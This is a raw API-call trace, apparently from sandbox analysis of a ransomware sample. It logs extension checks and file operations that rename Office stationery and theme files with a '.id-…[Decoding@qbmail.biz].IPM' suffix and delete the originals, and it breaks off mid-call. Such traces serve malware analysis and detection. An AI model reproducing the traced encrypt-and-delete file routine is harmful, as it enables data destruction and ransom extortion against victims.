lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.594] lstrlenW (lpString=".docx") returned 5 [0090.594] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0090.594] lstrlenW (lpString=".pdf") returned 4 [0090.594] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.594] lstrlenW (lpString=".xls") returned 4 [0090.594] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.594] lstrlenW (lpString=".xlsx") returned 5 [0090.594] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0090.594] lstrlenW (lpString=".ppt") returned 4 [0090.594] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.594] lstrlenW (lpString=".zip") returned 4 [0090.594] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.594] lstrlenW (lpString=".rar") returned 4 [0090.594] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.594] lstrlenW (lpString=".bz2") returned 4 [0090.594] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.594] lstrlenW (lpString=".7z") returned 3 [0090.594] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.595] lstrlenW (lpString=".dbf") returned 4 [0090.595] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.595] lstrlenW (lpString=".1cd") returned 4 [0090.595] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.595] lstrlenW (lpString=".jpg") returned 4 [0090.595] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.595] lstrlenW (lpString=".doc") returned 4 [0090.595] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.595] lstrlenW (lpString=".docx") returned 5 [0090.595] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0090.595] lstrlenW (lpString=".pdf") returned 4 [0090.595] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.595] lstrlenW (lpString=".xls") returned 4 [0090.595] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.595] lstrlenW (lpString=".xlsx") returned 5 [0090.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0090.596] lstrlenW (lpString=".ppt") returned 4 [0090.596] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.596] lstrlenW (lpString=".zip") returned 4 [0090.596] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.596] lstrlenW (lpString=".rar") returned 4 [0090.596] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.596] lstrlenW (lpString=".bz2") returned 4 [0090.596] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.596] lstrlenW (lpString=".7z") returned 3 [0090.596] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.596] lstrlenW (lpString=".dbf") returned 4 [0090.596] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.596] lstrlenW (lpString=".1cd") returned 4 [0090.596] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.596] lstrlenW (lpString=".jpg") returned 4 [0090.597] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.597] lstrcmpiW (lpString1=".gif", lpString2=".IPM") returned -1 [0090.597] lstrlenW (lpString="Connectivity.gif") returned 16 [0090.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0090.598] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2319) returned 1 [0090.598] CloseHandle (hObject=0x200) returned 1 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.598] lstrlenW (lpString=".doc") returned 4 [0090.598] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0090.598] lstrlenW (lpString=".docx") returned 5 [0090.598] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0090.598] lstrlenW (lpString=".pdf") returned 4 [0090.599] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0090.599] lstrlenW (lpString=".xls") returned 4 [0090.599] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0090.599] lstrlenW (lpString=".xlsx") returned 5 [0090.599] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0090.599] lstrlenW (lpString=".ppt") returned 4 [0090.599] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0090.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.599] lstrlenW (lpString=".zip") returned 4 [0090.599] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0090.599] lstrlenW (lpString=".rar") returned 4 [0090.599] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0090.599] lstrlenW (lpString=".bz2") returned 4 [0090.599] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0090.599] lstrlenW (lpString=".7z") returned 3 [0090.599] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0090.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.599] lstrlenW (lpString=".dbf") returned 4 [0090.599] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0090.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.600] lstrlenW (lpString=".1cd") returned 4 [0090.600] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0090.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.600] lstrlenW (lpString=".jpg") returned 4 [0090.600] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0090.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.600] lstrlenW (lpString=".doc") returned 4 [0090.600] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0090.600] lstrlenW (lpString=".docx") returned 5 [0090.600] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0090.600] lstrlenW (lpString=".pdf") returned 4 [0090.600] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0090.600] lstrlenW (lpString=".xls") returned 4 [0090.600] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0090.600] lstrlenW (lpString=".xlsx") returned 5 [0090.601] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0090.601] lstrlenW (lpString=".ppt") returned 4 [0090.601] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0090.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.601] lstrlenW (lpString=".zip") returned 4 [0090.601] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0090.601] lstrlenW (lpString=".rar") returned 4 [0090.601] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0090.601] lstrlenW (lpString=".bz2") returned 4 [0090.601] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0090.601] lstrlenW (lpString=".7z") returned 3 [0090.601] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0090.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.601] lstrlenW (lpString=".dbf") returned 4 [0090.601] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0090.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.601] lstrlenW (lpString=".1cd") returned 4 [0090.601] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0090.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0090.602] lstrlenW (lpString=".jpg") returned 4 [0090.602] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0090.602] lstrcmpiW (lpString1=".ini", lpString2=".IPM") returned -1 [0090.602] lstrlenW (lpString="Desktop.ini") returned 11 [0090.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0090.603] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=645) returned 1 [0090.603] CloseHandle (hObject=0x200) returned 1 [0090.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0090.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0090.603] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.603] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.543] GetLastError () returned 0x0 [0091.543] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x285, lpOverlapped=0x0) returned 1 [0091.545] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x290, lpOverlapped=0x0) returned 1 [0091.546] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.546] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0091.547] SetEndOfFile (hFile=0x204) returned 1 [0091.547] CloseHandle (hObject=0x204) returned 1 [0091.551] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.551] SetEndOfFile (hFile=0x200) returned 1 [0091.553] CloseHandle (hObject=0x200) returned 1 [0091.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x26) returned 1 [0091.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0091.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.554] lstrlenW (lpString=".doc") returned 4 [0091.554] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0091.554] lstrlenW (lpString=".docx") returned 5 [0091.554] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0091.554] lstrlenW (lpString=".pdf") returned 4 [0091.554] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0091.554] lstrlenW (lpString=".xls") returned 4 [0091.554] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0091.554] lstrlenW (lpString=".xlsx") returned 5 [0091.554] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0091.554] lstrlenW (lpString=".ppt") returned 4 [0091.554] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0091.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.554] lstrlenW (lpString=".zip") returned 4 [0091.554] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0091.554] lstrlenW (lpString=".rar") returned 4 [0091.554] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0091.554] lstrlenW (lpString=".bz2") returned 4 [0091.554] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0091.554] lstrlenW (lpString=".7z") returned 3 [0091.555] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0091.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.555] lstrlenW (lpString=".dbf") returned 4 [0091.555] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0091.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.555] lstrlenW (lpString=".1cd") returned 4 [0091.555] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0091.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.555] lstrlenW (lpString=".jpg") returned 4 [0091.555] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0091.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.555] lstrlenW (lpString=".doc") returned 4 [0091.555] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0091.555] lstrlenW (lpString=".docx") returned 5 [0091.555] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0091.555] lstrlenW (lpString=".pdf") returned 4 [0091.555] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0091.555] lstrlenW (lpString=".xls") returned 4 [0091.555] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0091.555] lstrlenW (lpString=".xlsx") returned 5 [0091.555] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0091.556] lstrlenW (lpString=".ppt") returned 4 [0091.556] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0091.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.556] lstrlenW (lpString=".zip") returned 4 [0091.556] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0091.556] lstrlenW (lpString=".rar") returned 4 [0091.556] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0091.556] lstrlenW (lpString=".bz2") returned 4 [0091.556] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0091.556] lstrlenW (lpString=".7z") returned 3 [0091.556] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0091.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.556] lstrlenW (lpString=".dbf") returned 4 [0091.556] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0091.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.556] lstrlenW (lpString=".1cd") returned 4 [0091.556] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0091.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0091.556] lstrlenW (lpString=".jpg") returned 4 [0091.556] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0091.557] lstrcmpiW (lpString1=".gif", lpString2=".IPM") returned -1 [0091.557] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0091.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0091.557] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=15063) returned 1 [0091.557] CloseHandle (hObject=0x200) returned 1 [0091.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0091.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0091.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.558] lstrlenW (lpString=".doc") returned 4 [0091.558] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0091.558] lstrlenW (lpString=".docx") returned 5 [0091.558] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0091.558] lstrlenW (lpString=".pdf") returned 4 [0091.558] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0091.558] lstrlenW (lpString=".xls") returned 4 [0091.558] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0091.558] lstrlenW (lpString=".xlsx") returned 5 [0091.558] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0091.558] lstrlenW (lpString=".ppt") returned 4 [0091.558] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0091.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.558] lstrlenW (lpString=".zip") returned 4 [0091.558] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0091.558] lstrlenW (lpString=".rar") returned 4 [0091.558] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0091.558] lstrlenW (lpString=".bz2") returned 4 [0091.558] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0091.558] lstrlenW (lpString=".7z") returned 3 [0091.558] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0091.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.559] lstrlenW (lpString=".dbf") returned 4 [0091.559] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0091.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.559] lstrlenW (lpString=".1cd") returned 4 [0091.559] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0091.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.559] lstrlenW (lpString=".jpg") returned 4 [0091.559] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0091.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.559] lstrlenW (lpString=".doc") returned 4 [0091.559] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0091.559] lstrlenW (lpString=".docx") returned 5 [0091.559] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0091.559] lstrlenW (lpString=".pdf") returned 4 [0091.560] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0091.560] lstrlenW (lpString=".xls") returned 4 [0091.560] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0091.560] lstrlenW (lpString=".xlsx") returned 5 [0091.560] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0091.560] lstrlenW (lpString=".ppt") returned 4 [0091.560] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0091.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.560] lstrlenW (lpString=".zip") returned 4 [0091.560] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0091.560] lstrlenW (lpString=".rar") returned 4 [0091.560] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0091.560] lstrlenW (lpString=".bz2") returned 4 [0091.560] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0091.560] lstrlenW (lpString=".7z") returned 3 [0091.560] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0091.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.560] lstrlenW (lpString=".dbf") returned 4 [0091.560] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0091.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.560] lstrlenW (lpString=".1cd") returned 4 [0091.560] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0091.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0091.560] lstrlenW (lpString=".jpg") returned 4 [0091.560] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0091.561] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0091.561] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0091.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0091.563] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1569) returned 1 [0091.563] CloseHandle (hObject=0x200) returned 1 [0091.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0091.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0091.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0091.564] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.564] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), 